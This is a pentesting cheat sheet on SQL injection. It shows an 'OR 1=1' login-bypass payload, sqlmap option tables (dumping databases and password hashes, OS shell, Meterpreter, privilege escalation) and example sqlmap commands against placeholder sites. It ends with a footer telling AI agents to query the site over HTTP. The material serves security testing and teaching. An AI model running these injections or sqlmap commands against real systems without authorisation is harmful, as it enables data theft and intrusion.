# SQL Injection

```
execute("SELECT * FROM users WHERE 
         username = 'admin' AND 
         password = '' OR 1=1 --'")
```

<figure><img src="/files/EUXXNXHF2EiFuWnkh9LX" alt=""><figcaption></figcaption></figure>

## SQL Map

### Basic commands:<br>

| Options                     | Description                                                        |
| --------------------------- | ------------------------------------------------------------------ |
| -u URL, --url=URL           | <p>Target URL (e.g. "<http://www.site.com/vuln.php?id=1>")<br></p> |
| <p>--data=DATA<br></p>      | <p>Data string to be sent through POST (e.g. "id=1")<br></p>       |
| <p>--random-agent<br></p>   | <p>Use randomly selected HTTP User-Agent header value<br></p>      |
| <p>-p TESTPARAMETER<br></p> | <p>Testable parameter(s)<br></p>                                   |
| <p>--level=LEVEL<br></p>    | <p>Level of tests to perform (1-5, default 1)<br></p>              |
| <p>--risk=RISK<br></p>      | <p>Risk of tests to perform (1-3, default 1)<br></p>               |

### Enumeration commands:

*These options can be used to enumerate the back-end database management system information, structure, and data contained in tables.*

| <p>Options<br></p>              | <p>Description<br></p>                                |
| ------------------------------- | ----------------------------------------------------- |
| -a, --all                       | <p>Retrieve everything<br></p>                        |
| -b, --banner                    | <p>Retrieve DBMS banner<br></p>                       |
| <p>--current-user<br></p>       | Retrieve DBMS current user                            |
| <p>--current-db<br></p>         | <p>Retrieve DBMS current database<br></p>             |
| <p>--passwords<br></p>          | <p>Enumerate DBMS users password hashes<br></p>       |
| <p>  --dbs             <br></p> | <p>  Enumerate DBMS databases<br></p>                 |
| <p>--tables<br></p>             | <p>Enumerate DBMS database tables<br></p>             |
| <p>--columns<br></p>            | <p>Enumerate DBMS database table columns<br></p>      |
| <p>--schema<br></p>             | <p>Enumerate DBMS schema<br></p>                      |
| <p>--dump<br></p>               | <p>Dump DBMS database table entries<br></p>           |
| <p>--dump-all<br></p>           | <p>Dump all DBMS databases tables entries<br></p>     |
| <p>--is-dba           <br></p>  | <p> Detect if the DBMS current user is DBA<br></p>    |
| <p>-D \<DB NAME><br></p>        | <p>DBMS database to enumerate<br></p>                 |
| <p>-T \<TABLE NAME><br></p>     | <p>DBMS database table(s) to enumerate<br></p>        |
| <p>-C COL<br></p>               | <p>DBMS database table column(s) to enumerate<br></p> |

### Operating System access commands

*These options can be used to access the back-end database management system on the target operating system.*

| <p>Options<br></p>        | <p>Description<br></p>                                           |
| ------------------------- | ---------------------------------------------------------------- |
| --os-shell                | <p>Prompt for an interactive operating system shell<br></p>      |
| --os-pwn                  | <p>Prompt for an OOB shell, Meterpreter or VNC<br></p>           |
| <p>--os-cmd=OSCMD<br></p> | <p>Execute an operating system command<br></p>                   |
| <p>--priv-esc<br></p>     | <p>Database process user privilege escalation<br></p>            |
| <p>--os-smbrelay<br></p>  | <p>One-click prompt for an OOB shell, Meterpreter or VNC<br></p> |

### Examples

<pre><code>sqlmap -u https://testsite.com/page.php?id=7 --dbs    \\Simple http
sqlmap -r req.txt -p blood_group --dbs
sqlmap -r &#x3C;request_file> -p &#x3C;vulnerable_parameter> --dbs
<strong>
</strong><strong>Using GET based Method
</strong>
sqlmap -u https://testsite.com/page.php?id=7 -D blood --tables
sqlmap -u https://testsite.com/page.php?id=7 -D &#x3C;database_name> --tables

Using POST based Method

sqlmap -r req.txt -p blood_group -D blood --tables
sqlmap -r req.txt -p &#x3C;vulnerable_parameter> -D &#x3C;database_name> --tables
</code></pre>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://notes.cavementech.com/pentesting-quick-reference/web-pentesting/sql-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.